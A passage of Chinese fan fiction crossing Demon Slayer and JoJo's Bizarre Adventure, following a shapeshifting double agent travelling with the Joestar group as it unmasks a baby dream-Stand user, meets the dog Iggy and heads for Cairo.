然而,没等他在想下去,那只乌鸦就上下舞动了尾部的羽毛,而后神清气爽地振翅飞走了。
无聊 ......
鬼舞辻无惨又将视线移回那个女人的身上。虽然反应敏捷,但是在关键的时候还是很迟钝。
如果是产屋敷那边派出的家伙,也太蠢了。算她好运,他暂时还不想弄脏书房,现在的书也还没被整理完,再找一个合适的人也很麻烦。
“喂,你这家伙,给我整理得快一点。”鬼舞辻无惨随手拿起了一本书,也看了起来,然后在那女人看回来的时候又加了一句,“速度再快一点,我给双倍的钱。”
那个女人顿了一顿,脸上瞬间绽放出一种奇妙的神采。
“真的吗?”
“我没空骗你。”
这话似乎给她注入了无穷的能量,她点了点头,书页翻得刷刷作响,效率几乎是平时的两倍。
呵,可悲的人类。
*
熬夜干完了活后,我离开了宅邸,天刚刚放亮。微弱的日光照在我的脸上,我缓缓打了个哈欠。
好困。没想到今天直接工作通宵。
这本来是违背了我对于工作的态度了,但是他给得太多了,而且还现结钱,我很难拒绝。
我将手移至腰间的位置,轻轻摩挲了下,一种满足感涌上心头,缓解了周身的疲劳。小钱钱放在我特质的内侧布袋里,妥妥的,很安心。
“咕咕咕。”迟来的饥饿席卷着我,但好在,此时我手上恰有点小钱。
嘿嘿。我窜入一个阴暗的深深小巷中,直至走到了巷子的底部,正准备从衣服中盘出几枚小钱就去吃附近眼馋了很久的馄饨,却发觉,这里头有人。
一个长发的高个子紧紧地将一个人按在墙角,阴影处,我看不清他们的动作,只是看到随着高个的人越抱越紧,他怀中的人似乎软了身子,失去了力气不断下滑。
啧,有没有公德心啊,怎么在外面乱搞。这难道是什么情难自禁的红眼文学吗,下一步是不是要说“命都给你啊”。
还是先离开好了,就当没看见。
我这么想着,正打算转身就走,鼻尖却闻到了一股铁锈味。
而那铁锈味的源头正是--被紧紧抱着的那人。
是.....是命案现场吗?那人还有救吗?
我克制住自己颤抖的手,顺手捡起了地上的石块,仔细观察着四周的情况。附近没有刀具,是被挡住了,这么远都能闻到的出血量是怎么回事!
“咕叽.....深末啊,被看间了。”那个长发的高个嗓子中发出含糊不清的嘀咕,他松开了手,怀中的人立马四散在地上。
我倒吸了一口凉气,看着那个长发高个没有转头,向自己走来。
不,不是没有转头,我看着他直直冲过来的样子,心中有了不妙的猜测。
我以为的后脑勺可能就是他的脸!
那这样这玩意还算是人吗?
实在来不及多想,我一面高呼救命,转身向巷子外跑去。
可是这么早能有什么人呢?还是在这样的小巷子里。
我感觉身后的脚步越来越快,那个恶心的身影离我越来越近,就快要直接碰上我了。
我立马将手中刚捡的碎石向后砸去,但是作用几近于无。深厚的身影停顿了一下就继续追来,而此时,离巷口还有5米左右。
背后带着腥气的身影挥之不去,巷口的阳光看起来遥不可及。
难道我就要死在这里?
熬夜加
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班连早饭都还没来得及吃我就得死在这里?!
一想到这样的情景,比起害怕,我的心里更多的是一种愤怒。
我迅速侧身,靠着墙,瞄准了太阳穴给着那个按惯性向前走的怪物狠狠一拳。
“救命!”我继续喊着,试图把这个当成某种号子给自己鼓劲。
这一拳的效果似乎还行,怪物并没来得及捂住头部,一个踉跄,跌坐在一旁。
有.....有戏吗?
这一拳竟然有意外的效果,我内心不由得一阵欣喜,立马撒腿向巷外跑去。
可是,没走几步,就有什么东西缠上了我的腿。
我低头看去,那是一个像是触手一般的东西上面还有着细密的牙齿,此时正在啃食我的衣服。
什么?
我拿着石头向着触手砸了下去,然而它只是流了一些血,却并没有停止下啃食的动作。那个跌落在地上的怪物也缓缓站起,顺着自己腰间长出的触手一点一点向我靠近。
不行!
我试图挣脱触手,用尽全力向着巷子外走去,但是,在好不容易挪动了几步后,那个触手的力道越来越大,那个怪物离我越来越近。
怪物的身体转向我,这时我看清了,他的腹部遍布着一张大嘴。带着腥气的牙齿还残存着血肉,我开始明白为何会看见两人紧紧相拥了。
这就是要把你揉进骨子里的真实写照吗?
不会吧,这难道是我临终的最后一句话吗?我甚至都没来得及吃小馄饨!
我感觉到那些细密的牙齿已经开始啃食我的肉了,剧痛使我清醒了一瞬,我咬着牙、继续向外爬去。
这怪物不去巷口,绝对有原因。
我一定要靠近那里!
我感觉那怪物不满地嚎叫了一声,一条触手直奔我的脖颈。
可它突然停了下来,一时间,力道全松。
在我没有看见的地方,怪物的眼中闪过一道红光。
可我顾不上那么多,发了疯似的调动所有的力气,趁着怪物不动,立马向前爬也似的跑去。
竟然硬生生将怪物拖到了巷口。
在触及阳光的一瞬间,我身上的怪物发出一声尖利的惨叫,我感觉束缚着我的触手化为粉末。
我不明白发生了什么,却见感觉有一人以一种诡异的速度冲到了我的身边。
我想我是因为死里逃生所以眼花了,不然怎么会看见猫头鹰呢?
眼前的猫头鹰嘴巴开开合合,似乎在问着我什么。
天可怜见,我的头脑此刻已是一个空壳,思绪像蒸汽一般飘浮,无法集中到一个问题上去。
“我想吃小馄饨。”我尝试从怀里掏出钱,递给那人。
不管你是哪来的猫头鹰,先让我吃点东西吧。
75.死神十三(3)
这颗纽扣?
我捡起了它,拿到眼前观察。这是个方形的金色金属扣子,如果没记错了话,应该是花京院典明绿色学生制服上的扣子。
不管是空条承太郎还是花京院典明亦或者是波鲁那鲁夫和阿布德尔,他们每天都是这一套衣服,同行这么多天,我都能数清每个人身上的扣子数量了。
所以,为什么花京院典明的扣子会在我手里呢?
他的学生制服看起来质量不错,扣子不会松动到意外掉落,而且是掉在我的手里。
这扣子一定有玄机。
我两指捻着这颗扣子,将其挪出我身下的阴影,对着光反复端详,发现了一些清晰的划痕。
眯起眼,我看着上面划痕组成的字迹,那是b s!中间好像有什么东西被抹去的痕迹。
嗯,bs......这是什么品牌表示?somebody的交换?
门外的侍者已经不耐烦得按了三次门铃。
我狐疑地将视线转到门外。
我从猫眼中反复看着他的样子,却察觉不到替身的气息。
究竟是没放出替身还是其他的什么,我现在无法判断。不过,也暂时不需要判断。
我打开了房门,接过了东西,将其放在桌上。
“小哥,等等,这菜里怎么有蟑螂啊?!”我故作不满地嚷着,看着侍者进入房间后的一瞬间就绕过他身后将房门关上,手直劈他后颈。
侍者根本来不及抵抗,直接瘫倒在了地上。从攻击到他晕倒,我没有感受到一丝替身的感觉。
扣子也并没有发生什么神奇的变化。
啧,看来搞错了,这人应该不是替身使者。那看来这个扣子并不是什么奇妙的容器。
我在心中道歉,观察了一眼侍者的模样,幻化成他的样子,出门推着推车来到了花京院典明和空条承太郎所在的房间。
我无视着门把手上挂着的“请勿打扫”的牌子,狂摁门铃,“客人,你们定的夜宵来了哦。”
我狂按门铃的样子都可以称得上是夜间扰民了,都值得吃一个投诉了。
然而,房间内没有任何回应。
这绝对是出事了。
我拧了拧门把手,果不其然,无法向下拉。
在心里再对这位小哥说了一声抱歉,我看着紧闭的房门,将小推车移至身后,然后,猛地一脚踹上了门。
很好,现在这个时代还没有使用芯片门锁,还只是传统的机械钥匙。再加上这件酒店的设备比较陈旧,仅仅是一踹就导致它锁舌脱落了。
我顺手拧了一把门把手,紧贴着门一把推开了房门,很好,这回畅通无比。
只是,即使在这件房间里,我也没有感觉到任何替身的气息,只有两个熟睡的男高。
空条承太郎老老实实地睡在一边的单人床上,身体平直地躺着,双手交叠在腹部,简直是教科书一般的睡姿,只是眉头微微蹙起。
花京院典明确实像是经历着噩梦一般,整个人呈现大字型趴在床上,刘海压在身下,一只手垂落在床边,还时不时瞪两下腿。
这个睡姿比樱还离谱啊。
看来这两人只是睡着了而已,高中生的睡眠质量真好啊。
我应该是想多了吧,还误打了一个无辜路人。
我挪开了视线,摸了摸鼻子,准备轻声退出。
这个乌龙也太可怕了,这样显得突然闯进来的我像是个变态,大家穿得还是比较清凉,我还是速速离去吧。
正当我蹑手蹑脚准备离开时,我听到了有人打开房门的声音,应该隔壁房间的人打开了门,走出来,对着空无一人的走廊嘟囔。
“真是的,刚刚那是什么声音,都把我吵醒了,不知道我明天有三千万的生意要谈吗?”
吵醒?
听到这么大的动静,隔壁房的普通人都醒了,他们怎么可能还不醒?
我福至心灵,转头像身后看去。
花京院典明的手臂上出现了一道道深色的伤痕,而空条承太郎身上亦有浅浅的伤口出现。
这些都是在我转头的这几秒的时候发生的,那么,一定有我看不见的替身攻击发生了。
我环视整个房间,却依旧没察觉任何替身的气息。
不管怎样,先叫醒他们再说。
“醒醒!”
一道声音像是从黑暗中透出的雷电直直劈到了花京院典明的脸上,花京院典明猛地睁开了双眼,只觉得自己仿佛刚从一个深不见底的泥淖中爬出。
等他的眼睛视觉稍微恢复,他就看见了一个陌生的男人拿着一个看着有些眼熟的金色扣子站在他床边。
敌人?
不,花京院典明的昏沉的脑袋清醒了一瞬,他摸着自己有些痛的脸,下意识将被子向上拉起,盖住了自己睡衣领口大开的上半身。
“花京院、承太郎,你们遭受到替身攻击了!”侍者样貌的人将手中的纽扣递给花京院典明,“就在刚刚,我发现你们身上莫名出现了伤口--”
她的话停顿了一下,因为现在,呈现在她眼前的是毫无手上痕迹的手臂。
花京院典明和空条承太郎检查了全身,果不其然,在脸上找到了红肿的痕迹。
是这个伤口吗?确实是突然出现的。
侍者模样的人顿了顿,又接着补充,“我一醒来就发现花京院典明的纽扣在我的手里,这肯定不对劲。我检查四周没有发现异样,准备叫醒你们来商量,却发现你们却好像吃了十颗安眠药一样地昏睡着,究竟发生了什么?”
说完,她将那枚纽扣放在花京院典明的掌心,那个bs的划痕向上,直直映入花京院典明的视线。
空条承太郎摸了摸脑袋,试图从中搜寻一些相关的记忆,但依旧一无所获。他召唤出了白金之星,查看四周,然而,并未发现什么。
不过,虽然他现在记不起相关的事,但是看“月彦”紧急的神色,绝对发生了什么。而这个bs之谜,只有纽扣的主人花京院典明能解开。
他们在刚刚,究竟遭遇了什么呢?
“bs......”花京院典明反复呢喃着这个首字母,检索自己的记忆,试图找出一些相关联的东西。
按照间距了话,b的后面应该还有3个字母,s后面像是还有4个字母的位置。
而如果自己遭到了替身攻击,一定会写下相关的线索。
blue stand
baby style
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……
无数的念头闪过花京院典明的脑海,排列组合喷涌而出,在那众多的念头的时候中,有一个却仿佛水会向下流一样,自然得从口中脱出。
“ baby stand… baby stand!”花京院典明的眼睁大,看向如梦初醒的空条承太郎和面无表情的侍者。
baby stand?
婴儿支架?……婴儿替身!
我回想起与我插肩而过的妇人怀中的婴儿,心头狂跳!这个婴儿,就在我和乔斯达先生房间的中间。
那么乔斯达先生他们怎么样了?!
*
“哎——”拖长的调子中带着明显的不满,【死神十三】悬浮在半空中。看着空缺的两个位置,一手摸着脸上的面具,而另一只手上提着一只还在蠕动的巨型毛虫。
“空条承太郎和花京院典明还真是不幸啊,既然在这个时候醒来。这样子不就不能品味到我准备的特色美食了吗?”
就在他的身前,有两个绿色的人形的茧。仔细一看,原来是被南瓜蔓全身捆绑的乔瑟夫·乔斯达和阿布德尔。
无论是手臂还是大腿还是脖颈,全部都被韧性十足的藤蔓捆绑着无法动弹,只有脑袋露在外面,嘴巴被藤蔓的尖端强制顶开。
乔瑟夫·乔斯达的波纹在梦境世界中层出不穷的攻击手段中也只是杯水车薪。
而伴随着【死神十三】的嘻嘻声,那条和法棍一样大小的毛虫已经移到了乔瑟夫·乔斯达的嘴上方。
但是又有不速之客前来拜访。
“哎?我的梦有这么重口吗?喜欢看乔斯达先生被绑着吃虫子吗?虽然妆容我是不喜欢啦,但是虫子什么的还是不太好吧。”
一个嘀嘀咕咕的男声从【死神十三】身后传来,他吓了一跳,不爽得向后看去。
一个高大银发男人抱着手,有些不可置信地往这边看过来。他脸上的猴屁股一样的腮红显得他滑稽了起来。
“啊……什么吗?你这傻瓜女人干什么打扮成这样子的波鲁那雷夫又回来了!”
【死神十三】从心底开始感到了厌烦,他重重地将法棍大小的毛虫甩向波鲁那雷夫,看着他惊叫的模样总算好受了些。
他正打算继续像喂小婴儿一样给着乔瑟夫·乔斯达和阿布德尔一些“美食”,正思考着变些什么创新食物,目光就挪到了波鲁那雷夫身上。
就他以前的实验来说,再次来到梦境世界的人会带着上次的记忆。
那么,刚刚那家伙为什么还说这是他自己的梦。
“……!”【死神十三】的手一松,镰刀差点掉在了地上。
半晌过后,他才发出一声惊呼。
“诶!诶!真是大胆啊那家伙,我要收回我的评价了。如果不是天才如我,谁都无法发现现在波鲁那雷夫还活着吧!”
【死神十三】看到了乔瑟夫·乔斯达和阿布德尔颤动的眼球,兴奋地捏紧了镰刀。
“我一定要告诉dio!那家伙,背叛了dio,对吧!”他的话,是全然的笃定。
而此时的我才刚听到花京院典明说出baby stand,没有意识到现在更可怕的事情正在梦中世界发生。
76.死神十三(4)
虽然只有11个月大,但是[死神十三]的思路无比清晰。
波鲁那雷夫能进入到他的梦中世界,说明他的本体离得并不远。这么近的距离,大概率波鲁那鲁夫是一直与乔瑟·乔斯达他们同行。
“月彦”那家伙不可能没有发现,他选择隐而不报。这唯一的可能性就是他已经背叛了dio。
这可是叛徒。
[死神十三]打了个响指,将茫然的波鲁那雷夫直接用南瓜蔓捆绑起来静音,思考着接下来该怎么办。
叛徒啊,人们一般是怎么处理叛徒的呢?
在六个月的时候,他并不能控制自己的替身能力。夜晚时分,总会有一群陌生人在梦境世界中出现。他们说着“既然是梦了话,那么就是该让我为所欲为”,然后做了很多很多的事。
粗糙的欲望直白地披露在梦境世界里,仅仅6个月的婴儿睁着眼睛,如同海绵般疯狂地吸收对世界的认知。
白天里看起来文质彬彬的男人,晚上在梦境世界中癫狂、歇斯底里地对着动物用刑;被认为是疯子的乞讨者,在自己无所不能的梦境世界中却只是想要一张小小的床安心睡觉。
梦境世界里人来人往,婴儿的眼中映照着光怪离奇的人。等到他十个月的时候,他终于掌握了自己的替身。
我是不同的,是绝对的天才。他清晰地明白着这点。
即使被dio的手下挖掘,他也依旧认为自己是最特殊的一个。他只是还小,等他再大一点,他说不定比dio还强。
所以,现在他要怎么处理背叛dio的家伙呢?
[死神十三]抱着镰刀,转身又看向三个人型绿色的茧。
不管怎么说,先把他们的头像皮球一样割下吧。
就像以前梦境中的那人做的那样,一起玩皮球吧。
*
第二次踹门我已经轻车熟路了。
踹门的要点是集中力量到脚步,然后对着门把手旁一踹,确保锁舌脱落。
我正准备抬起脚,开始踹门,就被花京院典明拦住了。
“先交给[法皇之绿]吧,小心敌人。”[法皇之绿]的触手从门缝下钻进房内,随后不到一秒,门便缓缓向内拉开。
门内没有看见替身使者,乔瑟夫·乔斯达和阿布德尔分别躺在单人床上,看起来睡得很安详。波鲁那雷夫身体挺直地躺在沙发上,整个睡姿就像一根法棍。
“喂喂,老头子,醒醒!”
“阿布德尔,波鲁那雷夫,醒醒!”
空条承太郎摇晃着乔瑟夫·乔斯达的肩,但那张往日总是带着笑意的面孔此时脸色发白,像是喘不过气了。
阿布德尔和波鲁那雷夫也没好到哪里去,眉头紧蹙,眼球凸起,如遭梦魇。
看来这是遭了替身攻击了!一般手段根本叫不醒他们。
我撸起袖子,如法炮制,利用手与面部肌肉的相互作用,一手唤醒了三个人。
“呼,大家没事吧。”
我看着睁开了眼的几个人,松了一口气,一抬头就看见空条承太郎和花京院典明摸着脸,看了我一眼。
事急从权。
我不再看他们,将纽扣递向了乔瑟夫·乔斯达,花京院典明解释了纽扣出现的异样和b s的预示。
“而且,结合在我们都一直陷入了难以唤醒的睡眠中,敌人的替身攻击肯定和睡眠相关!”
“竟然已经出现了替身使者!而且除了“月彦”,我们竟然全员遭遇了替身攻击。”
乔瑟夫·乔斯达仔细摩挲着bs的划痕,倒吸一口凉气,开始检查起自己的身体。
只是,“我的身上暂时没有什么异常,也没察觉被攻击的痕迹......除了深睡不醒以外似乎没有别的异常。”乔瑟夫·乔斯达放下衣袖,话中有点迟疑。
“而且,但是如果是baby stand也太不现实了吧?就算我们真的遭遇了替身使者,但是婴儿替身也太离谱了!”波鲁那雷夫挠了挠头,身子向前倾,眼睛在我与花京院典明之前来回打转,试图找出一些开玩笑的痕迹。
“但是我们五个人都无法用正常手段被叫醒,这实在是很可疑。就算不是遭遇了替身攻击,也可能存在一些其他我们没注意到的事。”阿布德尔站起身,仔细观察着房间里隐秘的角落。
“b s有很多种拼写,不一定是baby stand吧?这可能是别的什么。”乔瑟夫·乔斯达将纽扣还给了花京院典明,拿出了包中的相机。
“可是还不知道敌人的真面目,没法用[紫色隐者]进行侧写。”
不,现在还用不着侧写。
我深吸了一口气,拍了拍花京院典明的肩,示意他跟着我走去。
“baby stand 是有可能的,之前回到我房间的时候,我看见了隔壁就有个婴儿。”我放轻了声音,指了指隔壁的房间。
一时间,众人脸色都变得凝重了起来。
这会是巧合吗?
可是当[法皇之绿]潜入隔壁房间后,在我们眼中出现的是--空无一人的房间!
波鲁那雷夫摸了摸脑袋,对我面露关切。
“我说啊,你是不是没休息好啊,有点神经紧张了些呢?”
花京院典明攥着纽扣,低头,不知道在想着什么。空条承太郎收回了在房间内探查的[白金之星]。
我眨了一下眼。
说起来,我们所有人都没有关于被替身攻击的记忆,也没有受到什么实质性的伤害,我们真的遭到了替身攻击吗?
“咯咯。”就在相隔两间的房间,一个小婴儿躺在床中间,睁着大大的眼睛,看着头顶的灯光。
“咦?奇怪,我为什么要抱这个小鬼头过来?”之前在走廊抱怨的男人弯着腰,紧紧地盯着这个小婴儿。
说起来,他刚刚为什么要去那个房间抱着这孩子过来呢?
他试图去思考这点,但是当他的眼睛和婴儿那双眼触及时,他的眼神渐渐失去焦距。
“哦,我得带着他离开,要去打电话给开罗,打电话给开罗,要按纸上写的说,要按纸上写的说。”他重复着这几句话,了然地点了点头,拿着酒店的纸写上了几句话,又塞到了公文包内样品的夹层处。
做完这一切,他给自己打上了领带,穿上了西服,僵直地靠在一旁的沙发上。
小婴儿舒出了一口气,眼神显现出一种诡异的早熟。
那群家伙,也太蠢了吧。他可不会一直待在原地啊。
在意识到“月彦”可能是个叛徒的时候,他就打算着要告诉dio了。告知叛徒的信息的方法有很多,他当然选择了最简单的方法。
在夜间,随手拉一个靠得近的普通人进行梦境再洗脑就行了。
而且,花京院典明和空条承太郎脱离了梦境,保险起见,那个时候他就警惕地让那个陌生人带他离开了。
悄悄离开的时候,他从那男人的胳膊缝隙中他就看见了对面敞开的房门。
呵,傻子们!
虽然有些遗憾没能给他们留下三个皮球,但是这种事情以后也能做。
他现在可要--
“呜哇。”短促的哭声唤醒了坐在沙发上身体僵直的男人,他上前,解开了婴儿的尿布,不甚熟练地从公文包中拿出湿巾擦拭,又从某个小夹层中掏出了一个精美的手帕绑了上去。
可恶,这男人手法真差!他之后一定要换一个家伙。
小婴儿翻了个白眼,脚蹬上那个男人的胸膛,留下了一个灰色的脚印。
“咚咚。”门外传来了敲门声。
婴儿蹬脚的动作一顿,望着门外,屏住了呼吸。
怎么会?梦境世界中的记忆绝不会带到现实中的,他们怎么能找到这里?
大口大口地喘着气,婴儿看
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着门口,有些无法呼吸。
门外的人难道是他们吗?
“先生您好,请问您看到一个婴儿了吗?他的家人正在找他……”伴随着叩门声,门外的人有自我焦急地催促。
他的家人根本不在这!所以外面的家伙果然是他们?
他的梦境催眠只能进行一些心里暗示,一旦被打断提醒就糟糕了。
看着那个西装男从沙发上清醒了过来,骂骂咧咧地上前开门,婴儿大感不妙,正打算挣扎着逃跑,却毫无用处。
即使是天才,十一个月的□□还是太过孱弱了。
“哎?这个家伙什么时候到这里的!我才不是人贩子,我是准备来谈生意的……快带走他!是他的家人遗弃小孩吧……”
西装男拎起了婴儿,像是扔一个烫手山芋一样甩进了一个老头的怀中。
我收回一副要追责的强调,看着西装男紧张兮兮地关了门,将视线转向了那个身体颤抖的婴儿。
他将手指塞进了嘴里,看起来一副天真受到了惊吓的样子。随着乔瑟夫点·乔斯达抱着他走到他原先呆的房间,他身体颤动得更明显了。
“哎呀,小朋友,是不是饿了?”花京院典明摸了摸他,伸手从乔瑟夫怀中接过他,将其放在了高高的枕头上,对他笑得灿烂,然后退到不远处,似乎在一个包中掏着什么。
正当婴儿松了一口气时,一个紫色的拳头。出现在他的身前,那么近的距离,那么快的速度,叫他立马发出了一声尖叫。
“哦呀?你能看到啊,baby stand。”拳头在婴儿的鼻尖前停住,空条承太郎按着帽子,看向表情僵硬的婴儿。
“你那关于梦的替身能力是很强,但是毕竟是婴儿嘛,还是有所欠缺……”我说完,看着婴儿脸上的表情从惊讶转变为愤怒,不由不好意思地捂住了嘴。
“诶,我猜对了吗?真是不好意思。”欠扁的话让婴儿嘴都快气歪了。
婴儿过于成熟的表情以及对于替身的反应已经能说明一切。
乔瑟夫·乔斯达摇摇头,面色羞愧,“我居然之前还怀疑你们的判断,不相信有婴儿能成为替身使者,这实在是……”
“这也是靠花京院提供的信息。其实我也曾怀疑我自己的判断,不过,还好他只是婴儿啊……”
我看着枕头上的污渍,又看着房间地毯上一滴一滴延伸到那个西装男房间的污渍,摇摇头。
在不能控制排泄的年纪就来当替身使者,dio这比压榨童工还恶劣啊。
“呜哇哇哇!”躺在枕头上的婴儿发出怒吼,但是没人精通婴语,并不明白他在说什么。
去死!可恶!你们马上就完了!
婴儿的眼里散发着全然的恶意。
现在,这个距离,那个暗示对于西装男还有一定的影响!他一定要告发他们,让dio弄死那个嚣张的叛徒!
不远处的房间,为了驱散换洗下尿布的味道,男人打开了窗,抽着烟。
没等烟抽完,他的身体僵直了一瞬,然后茫然地转身走去桌前,将公文包提到了座机前,小心地从夹层中掏出一张纸,开始按动电话。
一阵忙音后,电话接通了,但没人说话。
男人对着纸张,正准备念着纸上的内容,什么东西就从窗边弹射而入,直奔他的包。
那东西直接将他装到地上,锋利的牙齿咬过纸张,然后不满地撕碎。
ta的鼻尖耸动,这回像是找准了目标,爪子直伸向公文包,扒拉出里面的什么就放入嘴中嚼嚼嚼!
“啊!什么东西啊这是!最新的超级加强版咖啡口香糖!这是我要颜色样品!”被一撞清醒的男人为自己的三百万交易发出哀嚎。
一旁的电话不知何时早已挂断。
“这个号码都被打错了吗?该换号码了。”开罗的公馆内,达比挂断电话,对着手中的玩偶,喃喃自语。
77.伊奇
我正和一只狗四目相对。
它独自趴在舒适的后座上,不断咀嚼着SPW财团带来的咖啡味口香糖,眼睛一眨不眨地盯着我。
波鲁那雷夫和空条承太郎、花京院典明挤在第二排的座位上,他趴在座椅上,盯着那只狗,嘟嘟囔囔地向我控诉。
“你看,这只狗脾气好大,你快说说他!”
我并不搭腔,只是在波鲁那雷夫的肩头挪了挪我尊贵的屁股,保持自己的平稳。
这只狗确实有些脾气,不然也不会在直升飞机上闹得直接空降酒店。在抢走了酒店里无辜路人的天价咖啡味口香糖样品后,它就大摇大摆地占据了房间。
酒店那时乱成了一锅粥,该移送婴儿的移送婴儿了,该替莫名受损的门打掩护的去打掩护了。而我,一个化形成侍者的家伙,一面处理那个无辜路人的投诉,一面还要试图去安抚这只狗,一面还得确保被我替代的家伙安然无恙。
不过,当我尝试靠近那只狗的时候,一阵风沙不知从何处吹来,迷了我的双眼。
咦?替身使者!
我实在忍不住吐槽,究竟怎么回事,到哪都能遇见替身使者吗?连狗狗也是。还得打架吗?
不过我预想的暴力冲突并没有发生。
因为阿布德尔认识他,再加上万能的spw财团的人带着咖啡味口香糖随后赶到,我们与这位本该再下个城市相遇的同伴提前汇合了。
它的名字叫伊奇,是一只波士顿狗,流浪在美国纽约,是个替身使者,或许将成为我们后续的伙伴。
是的,就是“或许”。
按照乔斯达先生的说法,伊奇,完全是被咖啡味口香糖诱骗过来的替身使者。它本身在纽约混得风生水起,俨然当地狗狗的头头,根本不想参与莫名其妙的争斗。
所以,作为完全占据道德优势的一方,伊奇拥有优先选座权。无论是在波鲁那雷夫头上放屁还是独占后排最舒适的位置,都是情理之中。
不过,波鲁那雷夫显然不这么想。
“你快点和他说啦,快把后排分点位置给我们,我都快要急死了。”他说着,似乎动了动手指伸向我,似乎想要做些什么。
我还没来得及回头看他要做什么,后排的伊奇放下了咖啡味口香糖,将目光移开盯着我身旁的波鲁那雷夫,喉咙里发出一声警告的咆哮,耳朵竖了起来,露出一排锋利的牙齿。
“吓死我了!干什么突然那么凶啊。”波鲁那雷夫发出一声惊呼,本来伸向我的拍了拍自己的胸口,委屈地撇了撇嘴。
挤在他身边的花京院典明收回了手,语气凉凉的,“波鲁那鲁夫,不管怎么说,你也不能用手指去戳“月彦”吧!”
“哈,花京院你怎么这样说,他现在不是一只狗吗?我只是想叫他帮我和伊奇沟通嘛!”波鲁那雷夫转头看了看肩头的我,显得尤为委屈,又伸出手想要碰我。
啧,这样很没礼貌耶!
我一个转身跳到了花京院的身上,波鲁那鲁夫的手却还要跟过来。
真是不到黄河不死心!
我看着自己目前的狗爪子,思考是否要变成猫给波鲁那雷夫一爪,后座就传来“呜哇”的咆哮声。
在花京院伸手打断波鲁那雷夫的动作前,伊奇直接扑向了波鲁那雷夫的脸,就像踏草坪一般,爪子在波鲁那雷夫精心梳理的发型中猛烈活动了许久,才利落地跳回了后座。
“啊啊啊啊,死狗,你究竟在干什么!”波鲁那鲁夫哀嚎着,拿出了随身带着的镜子梳理起自己的发型。
“发型可是法国男人的尊严啊.....等等,话说乔斯达先生、承太郎、阿布德尔、花京院、月彦,你们怎么都就这么看着呢?!”
乔瑟夫·乔斯达开着车,只是看了一眼后视镜,确认波鲁那雷夫除了发型没什么大碍后就收回了视线,轻轻摇了摇头。阿布德尔也没有回话,只是看了一眼后视镜,叹了一口气。
空条承太郎压低了帽子,并不回应波鲁那雷夫控诉的表情。
波鲁那雷夫的眼神最终还是与身边的花京院典明对上了。
“花京院,不会你也.....”
花京院给我调整了个舒适的姿势,斜睨一眼波鲁那雷夫。“波鲁那雷夫,你刚刚的举动也太不像骑士了,也没有绅士风度。”
“啊,我说这种事情,不说他现在是个狗,而且都是男人嘛,拍一拍屁股怎么了呢,大不了我也让他拍回来嘛.....”
没有人说话,波鲁那鲁夫看着大家看过来的目光,突然意识到了什么。
“等等.....啊...不会吧,月彦是女的,不是,你是一位女士吗?!”波鲁那鲁夫的头转向我,手无助地揪着自己的脸,像是要把自己揉成面团一样。
看着波鲁那雷夫已经扭曲的表情
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,我继续加码。
“哎,波鲁那雷夫,我可不想拍你的屁股啊。”
“啊啊啊啊。”
在波鲁那鲁夫的哀嚎中,我听到一声嗤笑。
这个方向,是后座?
我从花京院手臂上爬起来,站在靠背上,看着脸上露出人性化嘲笑的狗狗。
回想起之前伊奇的见义勇为,阻止了波鲁那鲁夫的咸猪手,我认真道谢。
“啊,谢谢你啊伊奇。”
但奇怪的是,听到我的话,伊奇表情凝固,又开始紧紧地盯着我了。
啊,难道说这样不行吗?难道必须要用狗狗语进行交流吗?
我迟疑了一下,艰难开口,“汪汪汪?”
诶?不是吧,为什么伊奇的表情变得更奇怪了。
“噗嗤。”
我回头看去,花京院抿着嘴,但是身子微颤;旁边的承太郎压下了帽子但是没压住嘴角。旁边的波鲁那鲁夫在我的眼神下没笑,只是深吸了一口气,将脸转过去。
转过头去也没用啊波鲁那雷夫!我都看到玻璃的倒影了好吧!
还有乔斯达先生和阿布德尔,我也从后视镜里看到你们了,现在转移视线根本没用吧!
汪汪叫两声,留我尴尬一路。
这简直比我和同事吐槽公司要完了最后发现同事是老板的私生子还要尴尬啊!虽然那家公司真的完了就是。
没事哒没事哒,不就是狗叫被同伴听到了,而且根本没达成沟通的目的嘛,没事哒!
“汪--”
闻着额头带着咖啡味的湿润的味道,我从尴尬中清醒过来,就看见一小片带着口水的咖啡味口香糖的在我的脑袋上,顺着目光看过去,是伊奇有些复杂的怜悯目光。
似乎是我的表情太微妙了,还带着包装的稍微大一点的一块咖啡味口香糖又被弹到我的脑袋上了。
“唔--汪汪-----”伊奇捂着剩下的咖啡味口香糖,紧张地盯着我。
可恶,虽然不知道伊奇在说什么,但总感觉心里好复杂!
在伊奇的目光中,我点了点头,小心地将口香糖收好,头也不回地走向了驾驶的位置。
“乔斯达先生,我们到底什么时候能到开罗!”
不管什么也好,让我们进行下一个话题吧!
否则再呆在车里我马上就能扣出一个dio公馆了。
78.开罗
先不说伊奇应该真的把我当成狗了。
我问乔斯达先生什么时候到开罗除了缓解尴尬,还有一个现实的问题。
那就是,我们是真的要迅速地直奔开罗。
我们正在一路疾驰向开罗,如果顺利了话,大概一天就能赶上,我们就能在明天的早晨前到达开罗。
当然,这点dio并不知情。
在出发前对dio的汇报中,乔瑟夫一行人是遭到了身份不明的替身使者的攻击,其中阿布德尔和花京院典明两人负伤,至少要休养半个月。整个队伍无法再继续行进。
在此期间,我会乘机潜入医院,彻底干掉负伤的两人,使得整个队伍分崩离析。而之后的乔瑟夫·乔斯达和空条承太郎没有伙伴的助力,只需我稍稍背刺,必然折戟沉沙,死啦死啦的。
虽然之前我是想说乔瑟夫·乔斯达和空条承太郎即将不治身亡,但据乔斯达先生说说乔斯达的血脉之间有特殊的感应,我担心dio身下的乔斯达先生祖父的身体也能感应到子孙们还活蹦乱跳,因此歇了放卫星的心思。
不过,我描述的现状对于dio来说绝对是诱人的,虽然不至于能直接将他诱出开罗,但也能让他放松警惕。
我充满自信地向dio描绘着宏图大业,似乎下一秒乔斯达家族就会覆灭在我这个小喽啰的手中。
毕竟我的招数卑鄙下流无耻,可是我做的是稀有的正义伙伴间的背刺,乔斯达家族只是对dio有特别buff,说不定就是防不住我。
但是似乎这个计划迈的步子太大了,虽说有一定胜算,可是我之前时不时展现的不靠谱已经让dio无语了。
忠诚积极的规划换来的是电话那头的一阵沉默。
电话那头,dio他沉默了一会,咳了咳嗽,进行了一些客套的鼓励,“很好,作为我的''眼'',你确实十分出色。如果你真的完成这点,我一定会给你应有的奖励。”
一想起dio那一屋子的古董珠宝,我一时间有点可惜,没有立马跟进舔着dio表示不要奖励都是我应该的。
或许是上次的紫外线给他造成了ptsd,dio不会在我没有打电话的时候直接上我身了。因此,我不会在没有任何预兆的情况下接到什么特殊任务。
就在我沉默的几秒钟内,dio又继续说话了。
